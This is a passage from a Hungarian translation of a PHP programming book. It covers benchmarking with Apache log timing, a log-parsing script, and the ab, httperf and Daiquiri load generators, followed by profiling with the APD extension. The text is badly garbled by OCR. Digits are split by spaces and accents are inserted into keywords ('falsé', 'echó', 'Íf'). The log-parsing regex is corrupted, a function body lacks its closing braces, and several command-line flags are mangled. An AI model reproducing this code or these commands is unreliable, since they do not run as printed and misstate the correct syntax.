Ezután be kell állítanunk az új naplózási eljárást az új formátummal:

CustomLog /var/apache-logs/default/access_log combinedplus

Nos, ezzel el is készültünk. Új elérési naplónk (access log) így fest:

66.80.117.2 - - [23/Mar/2003:17:56:44 -0500]


"GET /~george/index2.php HTTP/1.1" 200 14039 "-" "-" 1
66.80.117.2 - - [23/Mar/2003:17:56:44 -0500]
"GET /-george/blog/ HTTP/1.1" 200 14039 "-" "-" 3
66.80.117.2 - - [23/Mar/2003:17:56:44 -0500]
17. fejezet • Teljesítménymérés: teljes alkalmazások tesztelése 457

"GET /-george/examples/ HTTP/1.1" 2 0 0 14039 " -" " - " 0


6 6 . 8 0 . 1 1 7 . 2 - - [ 2 3 / M a r / 2 0 0 3 : 1 7 : 5 6 : 4 4 -0 5 0 0 ]
"GET /~george/index2.php HTTP/1.1" 2 0 0 14039 "-" "-" 1
6 6 . 8 0 . 1 1 7 . 2 - - [ 2 3 / M a r / 2 0 0 3 : 1 7 : 5 6 : 4 4 -0 5 00 ]
"GET /-george/ HTTP/1.1" 2 0 0 14039 "-" "-" 1
66 . 80. 117 . 2 - - [ 2 3 / M a r / 2 0 0 3:1 7:5 6 :4 4 -0500]
"GET /-george/blog/ HTTP/1.1" 2 0 0 14039 "-" "-" 2
66 . 80 . 11 7. 2 - - [2 3 / M a r / 20 0 3:1 7 :5 6 :4 4 -0500]
"GET /-george/blog/ HTTP/1.1" 2 0 0 14039 "-" " -" 1
6 6 . 8 0 . 1 1 7 . 2 - - [ 2 3 / M a r / 2 0 0 3 : 1 7 :5 6 : 4 7 -0 5 0 0 ]
"GET /~george/php/ HTTP/1.1" 2 0 0 1149 "-" " -" 0

Az oldal készítéséhez szükséges idő a bejegyzés utolsó mezőjében található meg. E be-
jegyzések közvetlen átnézése nyilván csak olyan esetekben vezet eredményre, ha egy ol-
dallal igen súlyos gondok vannak - egyébként azonban nem sok következtetést vonha-
tunk le a kapott adatokból a minta kis mérete miatt.

Ez ellen persze könnyen tehetünk, csak futtassuk a naplózót néhány órán keresztül, és ele-
mezzük az eredményt ezután. Nagyobb statisztikai mintánál a számok többet mondanak.

Ha elegendő adat gyűlt össze, elemzésüket az alábbi programmal is elvégezhetjük:

#!/usr/local/bin/php

##################
# parse_logs.php #
##################
<?php
$input = $_SERVER['argv'][1];
$fp = fopen($input, "r");
// a általános naplóformátum illesztése egy kiegészítő „idő" paramé-
terrel
$regex = '/A(\S+) (\S+) (\S+) \[([":]+):(\d+:\d+:\d+) ( ["\]]+)\] ' .
' "(\S+) (.*?) (\S+)" (\S+) (\S+) (\S+) (\S+) (\d+)$/';
while(($line = fgets($fp)) ! == falsé) {
preg_match($regex, $line, $matches);
$uri = $matches[8];
$time = $matches[12];
list($file, $params) = explode('?',$uri, 2);
$requests[$file][] = $time;
$requests[$file] ['count']++;
// átlag kiszámítása
$requests[$file]['avg'] =
($requests[$file]['avg']*($requests[$file]['count'] - 1)
+ $time)/$requests[$file]['count'];
}
458 PHP fejlesztés felsőfokon

// saját rendező függvény az átlagos elérési idők


// alapján történő rendezésre
$my_sort = create_function('$a, $b', '
if($a[avg] == $b[avg]) {
return 0;
}
else {
return ($a[avg] > $b[avg]) ? 1 : -1;

uasort($requests, $my_sort);
reset($requests);
foreach($requests as $uri => $times) {
p r i n t f ( " % s %d % 2 . 5 f \ n " , $uri, $times['count'], $times['avg']);
}
?>

A programot a következőképpen futtathatjuk:

parse_logs.php /var/apache-logs/www.schlossnagle.org/access_log

Ezzel hozzájutunk a kérelmezett URL-ek átlagos letöltési idő szerint rendezett listájához:

/~george/images/fr4380620.JPG 105 0.00952


/~george/images/mc4359437.JPG 7 6 0.01316
/index.rdf 36 0.02778
/-george/blog/index.rdf 412 0. 03 641
/-george/blog/jBlog.ess.php 141 0.04965
/-george/blog/archives/000022.html 19 0 . 0 5 26 3
/~george/blog/rss.php 18 0 . 05 5 5 6
/-george/blog/jBlog_admin.php 8 0 . 1 2 50 0
/~george/blog/uploads/020-20d.jBlogThumb.jpg 48 0.14583
/-george/blog/ 2 96 0. 14865

Terhelésképzők
Az oldalak jellemzőinek vizsgálatára nem igazán jó az a módszer, melyben egy élesben
működő rendszerben kell várnunk arra, hogy a megfelelő körülmények előálljanak. Sok
esetben nem célszerű mélyreható vizsgálatokat végezni egy éppen működő, feladatát
végző kiszolgálón. Máskor pedig szükség van arra, hogy nagyobb mértékben terheljünk
meg egy webhelyét, mint az szokásosan előfordul.

Annak érdekében, hogy szükség esetén biztosítani tudjuk a forgalom kívánt jellemzőit,
terhelésképzőket (load generátor) alkalmazhatunk. Két típusuk ismeretes: a mesterséges
és a valósághű terhelésképzők. Az előbbiek nem fordítanak különösebb figyelmet arra,
hogy utánozzák a rendes használat körülményeit - inkább állandó és könyörtelen kére-
lemözönnel bombáznak egy vagy több oldalt.
17. fejezet • Teljesítménymérés: teljes alkalmazások tesztelése 45

A mesterséges terhelésképzők hasznosak lehetnek, ha egyes oldalakat vizsgálunk, de nem


alkalmasak a teljes webhely kapacitásának meghatározására, illetve olyan rejtett szűk ke-
resztmetszetek kiszűrésére, melyek csak életszerű helyzetekben jelennek meg. Ilyen ese-
tekben van szükség valósághű terhelésképzőkre, melyek visszajátszóként is ismeretesek,
hiszen legtöbbször naplófájlok lekérdezési mintázatát játsszák vissza időzített folyamatként.

ab
A mesterséges terhelésképzők legegyszerűbbike az ApacheBench, vagy ab, melyhez hoz-
zájutunk az Apache kiszolgálóval. Ez egy egyszerű többszálas teljesítménymérő eszköz,
amely megadott sűrűségben és egyidejűséggel leadott kérelmekkel bombáz egy adott
URL-t. Persze igazságtalanok vagyunk, ha az ab-t „egyszerű" eszköznek nevezzük, hiszen
rengeteg igen izgalmas lehetőséggel rendelkezik.

íme egy próbafuttatás eredménye, melyben webnaplómat 10 000 kérelem érte, 100-as
egyidejű csoportokban:

> /opt/apache/bin/ab -n 1000 -c 100


http://localhost/~george/blog/index.php
This is ApacheBench, Version 1.3d <$Revision: 1.65 $> apache-1.3
Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd,
■ http://www.zeustech.net/
Copyright (c) 1998-2002 The Apache Software Foundation,
• http://www.apache.org/

Benchmarking www.schlossnagle.org (be patient)


Completed 100 requests
Completed 200 requests
Completed 300 requests
Completed 400 requests
Completed 500 requests
Completed 600 requests
Completed 700 requests
Completed 800 requests
Completed 900 requests
Finished 1000 requests
Server Software: Apache/1.3.2 6
Server Hostname: www.schlossnagle.org
Server Port: 80

Document Path: /-george/blog/index.ph


Document Length: 33086 bytes

Concurrency Levél: 100


Time taken for tests: 41. 792 seconds
Complete requests: 1000
Failed requests: 0
460 PHP fejlesztés felsőfokon

Broken pipe errors: 0


Non-2xx responses: 0
Totál transferred: 33523204 bytes
HTML transferred: 3 3 0 8 4 2 0 4 bytes
Requests per second: 2 3 . 9 3 [ # /se c ] (mean)
Time per request: 4 1 7 9 . 2 0 - (mean)
Time per request: 4 1 .7 9 - (mean, across all concurrent requests)
Transfer rate: 8 0 2 .1 4 [Kbytes/sec] received

Connection Times (ms)


min mean[+/-sd] median max
Connect: 0 38 92 .6 1 336
Processing: 585 3 9 4 4 736 .9 4 0 6 6 10601
Waiting: 432 3 9 4 3 73 8 .1 4 0 6 6 10601
Totál: 585 3 9 8 2 686.9 4 0 8 7 10601

Percentage of the requests served within a certain time (ms)


50% 4087
66% 4211
75% 4284
80% 4334
90% 4449
95% 4579
98% 4736
99% 4847
100% 10601 (last request)

Naplóm majdnem 24 kérelmet volt képes kiszolgálni másodpercenként, ami kérelmen-


ként 41,79 ezredmásodperces időráfordítást jelentett - ebből 39,43 várakozással telt el
(ami durván a kérelem kezelésének felel meg az alkalmazásban).

Az alapvető lehetőségek mellett az ab támogatja saját fejlécek küldését, sütik használatát,


az egyszerű HTTP hitelesítést, valamint a POST adatokat.

httperf
Ha az ab-nél szélesebb körű lehetőségekre vágyunk, nagyszerű választás lehet a httperf,
melyet Dávid Mosberger jegyez a Hewlett Packard Research Labs-től. Ez a hatékony esz-
köz képes megfelelni a nagy adatforgalom igényeinek, támogatja a HTTP 1.1 protokollt és
könnyen bővíthető - igazándiból utóbbi két tulajdonságában különbözik lényegében az
ab-től. Használata mindenképpen jól jöhet, ha olyan viselkedést kívánunk vizsgálni, amely
tartalomtömörítést vagy más, a HTTP 1.l-ben megjelent lehetőséget használ.

A korábbi vizsgálathoz hasonlót a httperf segítségével az alábbiak szerint végezhetünk:

> httperf -~client=0/l --server=localhost --port=80


--uri=/~george/blog/index.php
17. fejezet • Teljesítménymérés: teljes alkalmazások tesztelése 461

--rate=40 --send-buffer=4096 --recv-buffer=16384 --num-conns=100


--num-calls=l

Totál: connections 1000 requests 1000 replies


1000 test-duration 50.681 s

Connection rate: 19.7 conn/s ( 5 0 . 7 ms/dconn, <=421


concurrent connections)
Connection time -: min 274 avg 8968 max 33513 median 6445 stddev 6340
Connection time -: connect 2 5 9 6 . 0
Connection length [replies/conn]: 1. 000

Request rate: 19.7 req/s ( 5 0 . 7 ms/req)


Request size [B]: 93.0

Reoly rate [replies/s]: min 1.2 avg 19.8 max 2 5 . 8 stddev 8.4
(10 samples)
Reply time -: response 6110.0 transfer 2 6 2 . 8
Reply size [B]: header 4 6 0 . 0 content 3 3 0 8 4 . 0 footer 2.0
(totál 3 3 5 4 6 . 0 )
Reply status: lxx=0 2xx=1000 3xx=0 4xx=0 5xx=0

CPU time [s]: user 0.64 system 13.71 (user 1 . 3% system 27.1%
totál 2 8 . 3 % )
Net I/O: 648.2 KB/s (5.3*10^ 6 bps)

Errors: totál 0 client-timo 0 socket-timo 0 connrefused 0 connreset 0


Errors: fd-unavail 0 addrunavail 0 ftab-full 0 other 0

A httperf egyik hasznos tulajdonsága, hogy lehetővé teszi több terhelésképző használa-
tát is. Az előző példában az alapértelmezett, rögzített URL alapú terhelésképzőt mutattuk
be, amely csak egyetlen URL-t ér el. Emellett azonban rendelkezésünkre áll egy napló ala-
pú terhelésképző és munkamenet-szimulátor, valamint egy valósághű adatképző.

A napló alapú terhelésképző


Ez a terhelésképző kérelmek egy sorozatát küldi egy fájlban meghatározott URL-ekre. Ezt
a fájlt a -wlog=loop, filé kapcsolóval adhatjuk meg, ahol a loop egy y/n (igen/nem)
érték, mellyel azt állíthatjuk be, hogy a program visszaugorjon-e a fájl (filé) elejére,
amennyiben a végére ért. Az -uri kapcsolóval megadott URI-t a program minden URL elé
betoldja. íme egy példa, melyben az URL-eket a /tmp/urllist naplóból olvassuk be:

httperf --client=0/l --server=www.schlossnagle.org --port=80


-wlog=y,/tmp/urllist --rate=40 --send-buffer=4096
--recv-buffer=16384 ~-num-conns=100 --num-calls=l
Az URL lista elemeit ASCII null karakterekkel (chr (0)) kell elválasztanunk egymástól.
462 PHP fejlesztés felsőfokon

A munkamenet-szimulátor

A munkamenet-szimulátor a felhasználó viselkedését kérelmek sorozatával próbálja meg


utánozni. Működésének jellemzőit négy paraméterrel - Ni, N2, X és L — határozhatjuk
meg. Egy munkamenet N2 hívásból áll, melyek L-es csoportokra oszlanak. E csoportok
felépítése a következő: a rendszer kiad egy kérelmet, megvárja a választ, majd a többi ké-
relmet egyszerre indítja el. Ez azt a helyzetet utánozza, amikor egy weboldalon L-l kép,
illetve másodlagos objektum található - a felhasználó először a kezdeti kódot kéri, majd
ha a HTML megérkezett, jöhetnek a képek. A következő csoport indítása előtt a munka-
menet X másodperc szünetet tart.

Az Ni a megkezdendő munkamenetek számát határozza meg. A paraméterek az alábbiak


szerint adhatók meg:

--wsess=Nl,N2,X -burst-length=L

A valósághű adatképző
A httperf lehetővé teszi a felhasználó munkameneteinek majdnem valósághű visszajátszá-
sát egy egyszerű módszer segítségével. Az a visszajátszó program, amely a php. net tükör-
oldalt olvassa 10 másodpercig, majd továbbugrik a docs oldalra, a következőképpen fest:

/index.php think=10
/images/news/afup-logo.gif
/images/news/chmhelp.gif
/images/news/conference_php_quebec. g i f
/images/news/hu_conf. gi f
/images/news/international_conference_2003_spring.gif
/images/news/mysgluc2003.png
/images/news/phpcon_logo.png
/images/php_logo.gif
/images/rss10. g i f
/images/spacer.gif
/backend/mirror.gif
/docs.php
/images/php_logo.gif
/images/spacer.gi f

A kilógó sorok egy csoport kezdetét jelentik, míg az alattuk levők az ide tartozó alkérel-
mek. A csoportkezdő soroknál egyedi beállításokat adhatunk meg - mennyit várjunk
a következő csoportig, milyen módszert használjunk, illetve beállíthatjuk a POST adato-
kat, és így tovább.

A munkamenetek programbeli megvalósítása igen hatékony eszköz, de a programfájlok


(szkriptek) - jóllehet igen elegáns - formátuma megnehezíti a valódi munkamenetek át-
17. fejezet • Teljesítménymérés: teljes alkalmazások tesztelése 463

írását. Jó lenne, ha létezne egy olyan eszköz, ami képes olvasni az Apache naplóit és
visszajátszani - nem csak egyszerűen elemenként, hanem az eredeti felállásnak megfelelő
időzítéssel. A Daiquiri éppen ezt teszi.

Daiquiri
A Daiquiri olyan webes terhelésképző, amely képes értelmezni az Apache általános
naplóformátumában (Common Log Formát) levő naplóit, és vissza is játssza azokat.
A program beállításai egy fájlban, az alábbi alakban találhatók meg:

Schema test = {
Headers = "Hőst: www.schlossnagle.org\r\n"
Log = "/var/apache-logs/replay.log"
RequestAllocation "reqalloc.so::SinglelP" => {
192.168.52.67:80
}
ChunkLength = 5
ChunkCushion = 1
HTTPTimeout = 200
MultiplicityFactor = 1
}

A Headers egy tetszőleges, újsor karakterekkel elválasztott fejlécekből álló karakterlán-


cot takar.

A Log megadja azt a naplófájlt, amelyből olvasunk - fontos, hogy ez általános naplófor-
mátumban legyen.

A RequestAllocation meghatározza a kérelmek kiadásának módját. A Daiquiri támo-


gatja a kérelemkezelő modulok dinamikus betöltését, ami igen hasznos lehet, ha a beépí-
tett működésmódokkal nem vagyunk elégedettek. Ezek egyébiránt a következők:

• SinglelP - Minden kérelmet a megadott IP címre küld.


• TCPlPRoundRobin - A kérelmeket forgató (round-robin) módszer szerint osztja ki
a felsorolt IP címek között.

A ChunkLength és a ChunkCushion megadja, milyen messzire mehetünk előre (másod-


percben mérve) a naplófájl feldolgozásában. A Daiquiri feltételezi, hogy a naplófájl sorai
időrendben követik egymást.

A MultiplicityFactor beállításával lehetővé tehetjük, hogy a forgalmat a program


a kérelmek időzített többszöri kiadásával biztosítsa. Ez egyszerű módot ad arra, hogy
webes alkalmazásaink kapacitását valós időben életszerű adatokkal mérjük fel.
464 PHP fejlesztés felsőfokon

További olvasmányok
A Sun teljesítményvizsgáló nagymestere, Adrián Cockroft Capacity Planning for Internet
Services című könyve felbecsülhetetlen értékű tudnivalókat tartalmaz a hagyományos ka-
pacitástervezési és -elemzési módszerek webes alkalmazásával kapcsolatban.

A httperf letölthető Dávid Mosberger webhelyéről, a www.hpl .hp.com/personal/


/David_Mosberger/httperf .html címről. Ugyanitt találhatunk néhány hivatkozást
olyan cikkekre, amelyek megmagyarázzák a httperf mögött meghúzódó tervezési el-
gondolásokat, és tanácsokkal is szolgálnak hatékony alkalmazásához.

A Daiquiri Theo Schlossnagle műve - letöltésére projektjei között, a következő címen van
lehetőségünk: www.omniti. com/~jesus/projects.
Profilkészítés
Ha hivatásszerűen foglalkozunk PHP programozással, előbb vagy utóbb mindenképpen
szükségünk lesz alkalmazásunk teljesítményének javítására. Ha nagy forgalmú webhelyen
dolgozunk, ez napi vagy heti teendőink közé tartozhat, ha pedig projektjeink javarészt
a belső hálózaton futnak, erre ritkábban van szükség. Mindazonáltal, egy idő után a leg-
több alkalmazást újra kell hangolni a megfelelő teljesítmény elérése érdekében.

Amikor előadást tartok a PHP alkalmazások teljesítményének fokozásáról, szeretek kü-


lönbséget tenni a hangolási eszközök és a diagnosztikai módszerek között. Az eddigiek-
ben leginkább az előbbiekkel foglalkoztunk: gyorstárazással, rendszerszintű hangolással,
az adatbázis-lekérdezések optimalizálásával, valamint az algoritmusok hatékonyságának
növelésével. Mindezekre úgy tekinthetünk, mint egy szerszámkészlet szerszámaira - a ka-
lapács, a nyomatékkulcs, vagy a csavarhúzó épp ilyen szerepet tölt be egy szerelő életé-
ben. Ahogy egy kereket sem cserélhetünk ki egy kalapács segítségével, úgy egy adatbá-
zissal kapcsolatos gondot sem orvosolhatunk néhány szabályos kifejezés módosításával.
Jó szerszámkészlet nélkül a gondok megoldása lehetetlen, de szerszámaink egy fabatkát
sem érnek, ha nem tudjuk, melyiket mikor alkalmazzuk.

Az autókarbantartás szakterületén a megfelelő szerszám kiválasztása a tapasztalat és a he-


lyes probléma-felismerés együttes eredménye. A helyes diagnosztikai módszerek még
igen egyszerű gondoknál is nagy segítséget jelenthetnek. Egy defektes kerék esetében
például hiába képes valaki befoltozni a lukat, ha nem találja meg. Az összetettebb helyze-
tek mélyrehatóbb hibafelderítést igényelnek. Ha az autó akadozva gyorsul, egyszerűen ta-
lálgatással kicserélhetem a motor egyes darabjait, míg a működés javulni nem kezd.
Ez a módszer persze költséges mind az anyagiakat, mind az időt tekintve. Sokkal célsze-
rűbb elvégezni egy motordiagnosztikai vizsgálatot, ami rámutat a hiba pontos okára.

A számítógépprogramok általában összetettebbek, mint az autó motorja, mégis, sokszor


a tapasztalt felhasználók is találgatásokba bocsátkoznak a teljesítményhiányosságok he-
lyét illetően. 2003-ban a php. net webhelyeken jelentős lassulások voltak tapasztalhatók.
Az Apache webkiszolgáló naplóinak vizsgálata alapján hamar kiderült, hogy a keresőol-
dalak felelősek a gondokért. Mindazonáltal ahelyett, hogy tüzetes elemzéssel próbálták
volna megtalálni a hiba pontos okát, inkább a véletlenszerű találgatások módszerét vá-
466 PHP fejlesztés felsőfokon

lasztották. A végeredmény az volt, hogy egy olyan problémára, melynek megoldása ren-
desen egy órába telt volna, napokig gyártottak olyan „megoldásokat", amelyek valójában
nem érintették a lényeget.

Ha valaki azt képzeli, hogy egy nagy alkalmazásban a puszta ráérzés alapján képes meg-
találni a teljesítménycsökkenés okát, hatalmasat téved. Éppen annyira bíznék egy szerelő-
ben, aki mindenféle tesztek nélkül kijelenti, mi az autóm baja, vagy egy orvosban, aki
vizsgálatok nélkül megállapítja a betegségemet, mint egy olyan programozóban, aki anél-
kül, hogy a kód elemzésébe bocsátkozna, rámutat a teljesítménycsökkenés forrására.

A jó PHP profilkészítő titka


A jól használható profilkészítőknek az alábbi követelményeket kell kielégíteniük:

• Áttetszőség - A profilkészítő működésbe helyezéséhez nem szabad semmiféle kód-


változtatást megkövetelnünk. Az ilyen módosítás egyrészt kényelmetlenségeket
okoz (és így csökkenti a módszer igénybe vételének esélyét), de emellett természe-
ténél fogva befolyásolja a program futását, így önmagunkat csaphatjuk be vele.
• Minimális többletterhelés - A profilkészítők csak minimális többletterhet jelenthetnek
a programok futtatásánál. Ideális esetben a motor lassulás nélkül kell működjön, ha
a program profilját nem készítjük el, és szinte lassulás nélkül, ha igen. A nagy ter-
helés azt jelentené, hogy a profilkészítőt nem futtathatnánk teljesítményhibák
keresésére, és jelentős belső mérési hibák forrása volna (így például meg kellene
győződnünk arról, hogy nem saját magát méri).
• Könnyű használat - Talán mondanunk sem kell, annyira természetes, hogy a profilké-
szítés eredményének könnyen érthetőnek kell lennie. Jó, ha több kimeneti formá-
tum is rendelkezésünkre áll, melyeket később nyugodtan átvizsgálhatunk. A finom-
hangolás sok esetben hosszú vizsgálatot és sok kódváltoztatást igényel. A régi pro-
filok áttekintésének és összevetésének lehetősége éppen ezért létfontosságú.

Profilkészítő alkalmazások - a bőség zavarával küszködve


Hasonlóan más, a PHP-vel kapcsolatos lehetőségekhez, a profilkészítőkből is egész cso-
kor áll rendelkezésünkre:

• Kódbeli profilkészítők - Ebbe a csoportba igen érdekes, ám alapjukban hibás megoldá-


sok tartoznak. Itt PHP-ben írt profilkészítőkról van szó, ami annyiban mindenképpen
izgalmas, hogy mindig öröm olyan PHP segédeszközöket látni, melyek maguk is
PHP-ben készültek. Sajnálatos módon azonban van egy, a lényeget érintő hibájuk:
használatukhoz szükség van a kód módosítására (minden vizsgálni kívánt függvény-
nél meg kell oldanunk a profilkészítő kód hívását), így a programmal együtt futó pro-
filkészítő eltolhatja a teljesítménymérleget. E profilkészítők használata általában véve
18. fejezet • Profilkészítés 467

ellenjavallt, kivéve az élesben működő alkalmazások egyes függvényeinek időméré-


sét abban az esetben, ha nem telepíthetünk bővítmény alapú profilkészítőt. A kódbe-
li profilkészítők jó példája a PEAR-ben elérhető Benchmark_Profiler, melyet
a http: //pear.php. net /package/Benchmark címen találhatunk meg.
• Advanced PHP Debugger (APD) - Az APD, melyet Dániel Cowgill-lel közösen fejlesz-
tettünk ki, egy PHP bővítmény alapú profilkészítő, ami a pontos időmérés érdeké-
ben felülírja a Zend Engine végrehajtási hívásait. Természetesen némiképp elfogult
vagyok e megoldás irányában, de ennek tudatában is ki merem jelenteni, hogy az
APD rendelkezik a legsokoldalúbb és legváltozatosabban beállítható profilkészítési
lehetőségekkel az ismert megoldások között. A program a gép által olvasható
nyomkövetési fájlokat készít, így lehetőség van különböző módú utólagos feldol-
gozásukra is. Emellett rendelkezik felhasználói szintű horgokkal a kimenet formá-
zásához, így az eredményt elküldhetjük a böngészőnek, XML vagy bármilyen
más formátumba csomagolva. Kapunk továbbá egy lépésenkénti interaktív hiba-
keresőt is, melyről most nem szólunk bővebben. Az APD-t a PEAR PECL tárában,
a http: //pecl.php. net /apd címen találhatjuk meg.
• DBG - A DBG egy Zend bővítmény alapú hibakereső és profilkészítő, ami ingyene-
sen, valamint kereskedelmi változatban is elérhető a PHPEd kódszerkesztővel.
A DBG nagyszerű hibakeresési lehetőségekkel rendelkezik, de a profilkészítési támo-
gatása nem olyan erős, mint az APD-é. A programot a http: //dd. cron.ru/dbg
címen találhatjuk meg.
• Xdebug - Dériek Rethans Xdebug-ja egy Zend bővítmény alapú profilkészítő
hibakereső. Jelenleg a három bővítmény alapú hibakereső közül ez a legjobb,
több felülettel és sokoldalú beállítási lehetőségekkel. Profilkészítő képességei
azonban elmaradnak az APD hasonló lehetőségei mögött, különösen a meglevő
nyomkövetési adatok többirányú feldolgozása terén. Az Xdebug megtalálható
a http: / /xdebug. org címen.

Fejezetünk további részében az APD segítségével végezzük el a programok profiljának elké-


szítését. Ha más segédeszközt használunk (érdemes minden lehetőséget kipróbálni), a tanul-
tak alkalmazása akkor sem okozhat különösebb nehézségeket. Az itt elsajátított stratégiák
nem köthetők az egyes profilkészítőkhöz - csak a konkrét példák térhetnek el egymástól.

Az APD telepítése és használata


Az APD a PECL része, így a PEAR telepítőt használhatjuk a telepítéséhez:

# pear install apd

Ha ez megtörtént, munkába is kell állítanunk a php. ini megfelelő beállításával:

zend_extension=/path/to/apd.so
apd.dumpdir=/tmp/traces
468 PHP fejlesztés felsőfokon

Az ADP működése során nyomkövetési fájlokat készít, melyeket a pprofp segédprogram-


mal dolgozhatunk fel a későbbiekben. A fájlok az apd. dumpdir könyvtárba kerülnek, ne-
vük pedig a pprof .pid alakot ölti, ahol a pid a kiírást végző folyamat azonosítója.

Ahhoz, hogy egy programot nyomon kövessünk, mindössze az alábbi függvényt kell
meghívnunk a kezdéskor (általában a program elején):

apd_set_pprof_trace() ;

Az APD a következő eseményeket rögzíti:

• Belépés egy függvénybe.


• Kilépés egy függvényből.
• Fájl beemelése.

Mindemellett, amikor egy függvény visszatér, az APD megvizsgál néhány belső számlálót, és
megnézi, mennyit haladtak előre a legutóbbi ellenőrzés óta. Ezek a számlálók a következők:

• Reál Time („falióra-idő") - Az eltelt valódi idő (valós idő).


• User Time - A felhasználó kódjának CPU-futtatási ideje (felhasználói idő).
• System Time - Az operációs rendszer magszintű hívásaival töltött idő (rendszeridő).

A belső időmérők pontossága


Az APD elemzése olyan pontosságú, amit az elérhető rendszerszintű mérőeszközök lehe-
tővé tesznek számára. A FreeBSD-n mindhárom számláló ezredmásodperc pontosságú,
míg a Linux rendszereken (legalábbis a 2.4-es változatban) a User Time és a System Time
csak századmásodperces pontosságot ad.

A nyomkövetési fájlt elkészítése után a pprofp programmal elemezhetjük. Ez a segéd-


program számos rendezési és megjelenítési lehetőséggel rendelkezik, melyek lehetővé te-
szik, hogy egyetlen nyomkövetési fájl alapján különböző nézőpontokból tekinthessünk
a program működésére. íme a pprofp beállítási lehetőségei:

pprofp <kapcsolók> <nyomkövetési fájl>


Rendező kapcsolók
-a Rendezés az eljárások nevei szerint.
-1 Rendezés az eljárások hívásának száma szerint.
-r Rendezés az eljárásokban töltött valós idő szerint.
-R Rendezés az eljárásokban töltött valós idő szerint
(a gyermekhívásokkal együtt).
-s Rendezés az eljárásokban töltött rendszeridő szerint.
18. fejezet • Profilkészítés 469

-S Rendezés az eljárásokban töltött rendszeridő szerint


(a gyermekhívásokkal együtt),
-u Rendezés az eljárásokban töltött felhasználói idő szerint.
-U Rendezés az eljárásokban töltött felhasználói idő szerint
(a gyermekhívásokkal együtt),
-v Rendezés az eljárásokban töltött átlagos idő szerint.
-z Rendezés az eljárásokban töltött rendszer-,
plusz felhasználói idő szerint (alapértelmezés).

Megjelenítési kapcsolók
-c Megjeleníti az eltelt valós időt a hívási fában.
-i Elrejti a php beépített függvényeit.
-m Megjeleníti a fájl/sor pozíciókat a nyomkövetési adatokban
-0 szml Meghatározza a megjeleníthető eljárások legnagyobb számát
(alapállapotban 1 5) .
-t Tömörített hívási fát jelenít meg.
-T Tömörítetlen hívási fát jelenít meg.

Különösen érdekes a -t és a -T kapcsoló, melyekkel megjeleníthetjük a hívási fát, vala-


mint a rendező kapcsolók. Amint láthattuk, ez utóbbiak lehetővé teszik, hogy a függvé-
nyeket rendezzük a kizárólag velük töltött idő alapján (ebbe nem számítanak bele a gyer-
mekhívások), valamint a hívásokkal együtt mért idő alapján.

Általában a valós eltelt idő alapján érdemes rendeznünk (-r vagy -R), mivel ezt az időt ér-
zik a látogatók az oldalon. Itt megjelenik a várakozás a válaszra az adatbázishívásoknál, és
más, hasonlóan blokkoló műveletek időtartama. Jóllehet az ilyen szűk keresztmetszetek is-
merete igen hasznos lehet, sokszor kíváncsiak vagyunk arra is, milyen teljesítményt nyújt
nyers kódunk a kimeneti-bemeneti műveletek várakozási idejétől eltekintve. Ilyenkor al-
kalmazhatjuk a -z, illetve a -Z kapcsolókat, melyek a CPU használatával töltött időt mérik.

Egy nyomkövetési példa


Próbáljuk most ki, milyen eredményeket várhatunk az APD-től - állatorvosi lovunk legyen
az alábbi program:

<?php
apd_set_pprof_trace();
hello("George") ;
goodbye("George") ;

function hello($name)
{
echó "Hello $name\n";
sleep(1) ;
}
470 PHP fejlesztés felsőfokon

function goodbye($name)
{
echó "Goodbye $name\n";
}
?>

A 18.1. ábrán láthatjuk, milyen eredményt kapunk, ha a profilkészítést az -r kapcsolóval


futtatjuk. Az eredmények persze nem meglepőek: a sleep (1) ; például nagyjából 1 má-
sodpercig tart. (Valójában egy kissé tovább, ami jellemző számos nyelv sleep függvényé-
re - ha igazán pontos eredményre van szükségünk, használjuk a usleep () függvényt).
A hello () és a goodbye () egyaránt igen gyors. Mindkét függvényt egyszer hajtottuk
végre, és a program futásának teljes ideje 1,0214 másodperc.

18.1. ábra
A profilkészítés eredménye egy egyszerű program esetében.

A teljes hívási fa megjelenítéséhez a -Tcm kapcsolót használhatjuk. Ezzel egy teljes hívási
fát kapunk, összesített időkkel, valamint a hívásoknál fájl- és sorpozíciókkal. A 18.2. ábrán
az így kapott kimenetet láthatjuk. Figyeljük meg, hogy a hívási fában a sleep behúzott,
mivel a hello () gyermekhívása.
18. fejezet • Profilkészítés 471

18.2. ábra
Egy egyszerű program hívási fája.

Egy nagyobb alkalmazás profiljának elkészítése


Most, hogy megismertük az APD használatának alapjait, próbáljuk meg egy nagyobb pro-
jektre alkalmazni. A Serendipity, ez a teljes mértékben PHP-ben írt, nyílt forrású webnap-
lózó program éppen megfelel erre a célra. Jóllehet leginkább egyedi webnaplók készíté-
sére használják, eredetileg nagy, többfelhasználós környezetekre tervezték, korlátlan szá-
mú szerzővel.

Számunkra a Serendipity nagyszerű kiindulópont egy olyan közösségi webhely vizsgálata


felé, amely webnaplózást tesz lehetővé a felhasználók számára. Lehetőségeihez mérten
a program képes megfelelni az ilyen nagyléptékű környezetek igényeinek, de először
meg kell vizsgálnunk a kódot, hogy valóban jó méretezhetőségi jellemzőkkel rendelke-
zik-e. Ezt az elemzést a leghatékonyabban egy profilkészítő segítségével végezhetjük el.

A profilkészítő segédeszközök egyik legnagyszerűbb tulajdonsága, hogy jó betekintést ad-


nak olyan kódokba is, melyek teljességgel ismeretlenek számunkra. A szűk keresztmet-
szetek azonosításával és a megfelelő kódrészletek felkutatásával az APD lehetővé teszi,
hogy késlekedés nélkül a kényes helyzetekkel kezdhessünk foglalkozni.
472 PHP fejlesztés felsőfokon

Érdemes először a webnapló kezdőoldalára sort keríteni. Ennek érdekében az index. php
elejét egy nyomkövető kóddal egészítjük ki. Mivel mindeközben a webnaplót használják,
nem követhetünk nyomon minden oldalelérést, így be kell burkolnunk a profilkészítő hívást,
hogy csak akkor induljon el, amikor a PR0FILE=1 paramétert is átadjuk az URL sorában:

<?php
Íf($_GET['PROFILÉ'] = = 1 ) {
apd_set_pprof_trace();
}
/* ... itt kezdődik a Serendipity eredeti kódja ... */

A 18.1. ábrán láthatjuk a profilkészítőnek a kezdőlapra vonatkozó eredményeit, valós, hí-


vásokkal együtt számított idejük szerint rendezve (az -R kapcsolóval). Jómagam szeretem
az elemzést az -R kapcsolóval kezdeni, mert az így kapott eredmény rávilágít arra, mely
nagyléptékű műveletek lassultak le. Mivel ilyenkor a függvények gyermekhívásainak ideje
is beleszámít a kapott eredménybe, az előkelő helyeken leginkább „felső szintű" függvé-
nyeket találunk.

Az oldalon mért teljes idő 1,1231 másodperc volt, ami nem rossz, ha saját webhelyünkről
